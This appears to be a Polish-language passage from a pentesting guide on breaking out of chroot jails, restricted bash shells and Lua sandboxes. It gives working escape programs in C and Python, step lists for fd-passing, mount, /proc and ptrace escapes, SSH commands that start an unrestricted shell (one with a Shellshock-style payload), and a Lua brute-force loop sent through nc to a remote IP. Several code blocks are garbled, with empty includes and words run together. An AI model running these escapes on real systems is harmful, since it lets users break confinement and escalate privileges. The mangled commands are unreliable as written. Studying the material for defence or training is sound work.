Z wikipedia: Mechanizm chroot nie jest przeznaczony do obrony przed celowym manipulowaniem przez uprzywilejowanych (root) użytkowników. W większości systemów konteksty chroot nie są poprawnie stosowane, a programy chrooted z wystarczającymi uprawnieniami mogą wykonać drugi chroot, aby się wydostać.
Zwykle oznacza to, że aby uciec, musisz być rootem wewnątrz chroot.
Narzędziechw00t zostało stworzone, aby wykorzystać następujące scenariusze i uciec z chroot.
Root + CWD
Jeśli jesteś rootem wewnątrz chroot, możesz uciec, tworząc kolejny chroot. Dzieje się tak, ponieważ 2 chrooty nie mogą współistnieć (w Linuxie), więc jeśli stworzysz folder, a następnie utworzysz nowy chroot w tym nowym folderze będąc na zewnątrz niego, będziesz teraz na zewnątrz nowego chroot i dlatego będziesz w FS.
Dzieje się tak, ponieważ zwykle chroot NIE przenosi twojego katalogu roboczego do wskazanego, więc możesz stworzyć chroot, ale być na zewnątrz niego.
Zwykle nie znajdziesz binarnego pliku chroot wewnątrz więzienia chroot, ale możesz skompilować, przesłać i wykonać binarny plik:
C: break_chroot.c
```c #include #include #include
//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
To jest podobne do poprzedniego przypadku, ale w tym przypadku atakujący przechowuje deskryptor pliku do bieżącego katalogu i następnie tworzy chroot w nowym folderze. Ostatecznie, ponieważ ma dostęp do tego FDpoza chroot, uzyskuje do niego dostęp i ucieka.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
FD może być przekazywane przez Unix Domain Sockets, więc:
* Utwórz proces potomny (fork)
* Utwórz UDS, aby rodzic i dziecko mogły się komunikować
* Uruchom chroot w procesie potomnym w innym folderze
* W procesie rodzica utwórz FD folderu, który znajduje się poza nowym chrootem procesu potomnego
* Przekaż temu procesowi potomnemu ten FD za pomocą UDS
* Proces potomny zmienia katalog na ten FD, a ponieważ jest on poza jego chrootem, ucieknie z więzienia
</div>
### Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Montowanie urządzenia root (/) w katalogu wewnątrz chroot
* Chrootowanie do tego katalogu
To jest możliwe w Linuksie
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Zamontuj procfs w katalogu wewnątrz chroot (jeśli jeszcze nie jest)
* Szukaj pid, który ma inną wpis root/cwd, na przykład: /proc/1/root
* Chrootuj do tego wpisu
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Utwórz Fork (proces potomny) i chrootuj do innego folderu głębiej w FS i CD na nim
* Z procesu rodzica przenieś folder, w którym znajduje się proces potomny, do folderu poprzedzającego chroot dzieci
* Ten proces dziecięcy znajdzie się poza chrootem
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Dawno temu użytkownicy mogli debugować swoje własne procesy z procesu samego siebie... ale to nie jest już możliwe domyślnie
* Tak czy inaczej, jeśli to możliwe, możesz ptrace do procesu i wykonać shellcode wewnątrz niego ([zobacz ten przykład](linux-capabilities.md#cap\_sys\_ptrace)).
</div>
## Bash Jails
### Enumeration
Uzyskaj informacje o więzieniu:
```bash
echo $SHELL
echo $PATH
env
export
pwd
Modify PATH
Sprawdź, czy możesz zmodyfikować zmienną środowiskową PATH
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
Używanie vim
:setshell=/bin/sh:shell
Utwórz skrypt
Sprawdź, czy możesz utworzyć plik wykonywalny z /bin/bash jako zawartość
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
Uzyskaj bash z SSH
Jeśli uzyskujesz dostęp przez ssh, możesz użyć tego triku, aby wykonać powłokę bash:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Zauważ, że za każdym razem, gdy wykonujesz poprzednią jedną linię w innym środowisku lua, kolejność funkcji się zmienia. Dlatego, jeśli musisz wykonać jedną konkretną funkcję, możesz przeprowadzić atak brute force, ładując różne środowiska lua i wywołując pierwszą funkcję biblioteki le:
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i inseq1000; doecho"for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end"|nc10.10.10.1010006|grep-A5"Code: char"; done
Uzyskaj interaktywną powłokę lua: Jeśli jesteś w ograniczonej powłoce lua, możesz uzyskać nową powłokę lua (i miejmy nadzieję, że nieograniczoną) wywołując: